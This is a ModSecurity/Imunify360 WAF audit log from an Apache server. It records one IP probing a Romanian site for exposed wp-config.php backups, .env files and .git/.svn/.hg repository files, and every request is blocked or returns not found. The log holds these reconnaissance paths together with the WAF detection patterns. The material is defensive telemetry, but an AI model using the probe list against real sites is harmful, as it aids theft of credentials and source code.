[13/Sep/2026:09:25:52.814039 +0300] aqZB8GM7dE9KgIIOpQhrWQAAAMM 169.40.142.190 53466 127.0.0.1 7081
--12aa773b-B--
GET /wp-config.php.old HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--12aa773b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--12aa773b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB8GM7dE9KgIIOpQhrWQAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.old"] [unique_id "aqZB8GM7dE9KgIIOpQhrWQAAAMM"]
Action: Intercepted (phase 2)
Stopwatch: 1789280752755831 58261 (- - -)
Stopwatch2: 1789280752755831 58261; combined=56818, p1=930, p2=55520, p3=0, p4=0, p5=367, sr=737, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--12aa773b-Z--
--1e620751-A--
[13/Sep/2026:09:25:54.623407 +0300] aqZB8mM7dE9KgIIOpQhrWwAAANQ 169.40.142.190 53486 127.0.0.1 7081
--1e620751-B--
GET /wp-config.php.orig HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--1e620751-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1e620751-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.orig||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZB8mM7dE9KgIIOpQhrWwAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.orig"] [unique_id "aqZB8mM7dE9KgIIOpQhrWwAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789280754571146 52320 (- - -)
Stopwatch2: 1789280754571146 52320; combined=50950, p1=212, p2=50419, p3=0, p4=0, p5=318, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1e620751-Z--
--70935b17-A--
[13/Sep/2026:09:25:56.420819 +0300] aqZB9GM7dE9KgIIOpQhrXAAAAM0 169.40.142.190 50410 127.0.0.1 7081
--70935b17-B--
GET /wp-config.php.txt HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--70935b17-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--70935b17-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.txt||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB9GM7dE9KgIIOpQhrXAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.txt"] [unique_id "aqZB9GM7dE9KgIIOpQhrXAAAAM0"]
Action: Intercepted (phase 2)
Stopwatch: 1789280756362196 58665 (- - -)
Stopwatch2: 1789280756362196 58665; combined=56890, p1=284, p2=56260, p3=0, p4=0, p5=345, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--70935b17-Z--
--cb4dba63-A--
[13/Sep/2026:09:25:58.348056 +0300] aqZB9mM7dE9KgIIOpQhrXQAAANI 169.40.142.190 50426 127.0.0.1 7081
--cb4dba63-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--cb4dba63-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--cb4dba63-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB9mM7dE9KgIIOpQhrXQAAANI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-25.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqZB9mM7dE9KgIIOpQhrXQAAANI"]
Action: Intercepted (phase 2)
Stopwatch: 1789280758290237 57874 (- - -)
Stopwatch2: 1789280758290237 57874; combined=56484, p1=304, p2=55724, p3=0, p4=0, p5=456, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cb4dba63-Z--
--c8634b21-A--
[13/Sep/2026:09:26:01.612143 +0300] aqZB@Uwu1RSkptiiNIX0BwAAAIk 169.40.142.190 50428 127.0.0.1 7081
--c8634b21-B--
GET /.env HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--c8634b21-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--c8634b21-E--
--c8634b21-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "axapres.ro"] [uri "/.env"] [unique_id "aqZB@Uwu1RSkptiiNIX0BwAAAIk"]
Stopwatch: 1789280761605767 6426 (- - -)
Stopwatch2: 1789280761605767 6426; combined=4972, p1=298, p2=4489, p3=134, p4=9, p5=42, sr=151, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c8634b21-Z--
--a22c8235-A--
[13/Sep/2026:09:26:05.945421 +0300] aqZB-WM7dE9KgIIOpQhrYAAAANY 169.40.142.190 49916 127.0.0.1 7081
--a22c8235-B--
GET /.env.swp HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--a22c8235-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--a22c8235-E--
--a22c8235-H--
Message: Warning. Pattern match "(\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\.swp|~)$" at REQUEST_BASENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "309"] [id "77142201"] [msg "IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||T:APACHE||MV:.env.swp||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.env.swp"] [unique_id "aqZB-WM7dE9KgIIOpQhrYAAAANY"]
Stopwatch: 1789280765936517 9013 (- - -)
Stopwatch2: 1789280765936517 9013; combined=7198, p1=501, p2=6527, p3=88, p4=10, p5=71, sr=187, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a22c8235-Z--
--f0f5017c-A--
[13/Sep/2026:09:26:08.038099 +0300] aqZB-0wu1RSkptiiNIX0CQAAAIA 169.40.142.190 49940 127.0.0.1 7081
--f0f5017c-B--
GET /.git/config HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--f0f5017c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f0f5017c-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZB-0wu1RSkptiiNIX0CQAAAIA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/config"] [unique_id "aqZB-0wu1RSkptiiNIX0CQAAAIA"]
Action: Intercepted (phase 2)
Stopwatch: 1789280767978339 59801 (- - -)
Stopwatch2: 1789280767978339 59801; combined=58133, p1=487, p2=57241, p3=0, p4=0, p5=404, sr=271, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0f5017c-Z--
--2f745f1e-A--
[13/Sep/2026:09:26:09.559480 +0300] aqZCAWM7dE9KgIIOpQhrYgAAAMw 169.40.142.190 49950 127.0.0.1 7081
--2f745f1e-B--
GET /.git/HEAD HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--2f745f1e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--2f745f1e-E--
--2f745f1e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/head||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/HEAD"] [unique_id "aqZCAWM7dE9KgIIOpQhrYgAAAMw"]
Stopwatch: 1789280769552481 7046 (- - -)
Stopwatch2: 1789280769552481 7046; combined=4006, p1=282, p2=3604, p3=74, p4=7, p5=39, sr=102, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2f745f1e-Z--
--287d1058-A--
[13/Sep/2026:09:26:11.168250 +0300] aqZCA2M7dE9KgIIOpQhrYwAAAMs 169.40.142.190 49956 127.0.0.1 7081
--287d1058-B--
GET /.git/index HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--287d1058-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--287d1058-E--
--287d1058-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/index||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.git/index"] [unique_id "aqZCA2M7dE9KgIIOpQhrYwAAAMs"]
Stopwatch: 1789280771160668 7637 (- - -)
Stopwatch2: 1789280771160668 7637; combined=5969, p1=338, p2=5472, p3=94, p4=9, p5=55, sr=147, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--287d1058-Z--
--866c4105-A--
[13/Sep/2026:09:26:11.631507 +0300] aqZCA2M7dE9KgIIOpQhrZAAAAM8 169.40.142.190 49966 127.0.0.1 7081
--866c4105-B--
GET /.svn/entries HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--866c4105-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--866c4105-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqZCA2M7dE9KgIIOpQhrZAAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.svn/entries"] [unique_id "aqZCA2M7dE9KgIIOpQhrZAAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789280771570652 60918 (- - -)
Stopwatch2: 1789280771570652 60918; combined=59605, p1=231, p2=58949, p3=0, p4=0, p5=425, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--866c4105-Z--
--aadd9e7b-A--
[13/Sep/2026:09:26:13.279346 +0300] aqZCBUwu1RSkptiiNIX0CgAAAJY 169.40.142.190 49968 127.0.0.1 7081
--aadd9e7b-B--
GET /.hg/store/00manifest.i HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.190
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--aadd9e7b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--aadd9e7b-H--
Message: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".hg/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.hg/store/00manifest.i||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqZCBUwu1RSkptiiNIX0CgAAAJY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:09-26.169.40.142.190||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqZCBUwu1RSkptiiNIX0CgAAAJY"]
Action: Intercepted (phase 2)
Stopwatch: 1789280773222154 57237 (- - -)
Stopwatch2: 1789280773222154 57237; combined=55959, p1=316, p2=55328, p3=0, p4=0, p5=315, sr=192, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--aadd9e7b-Z--
--7be43c75-A--
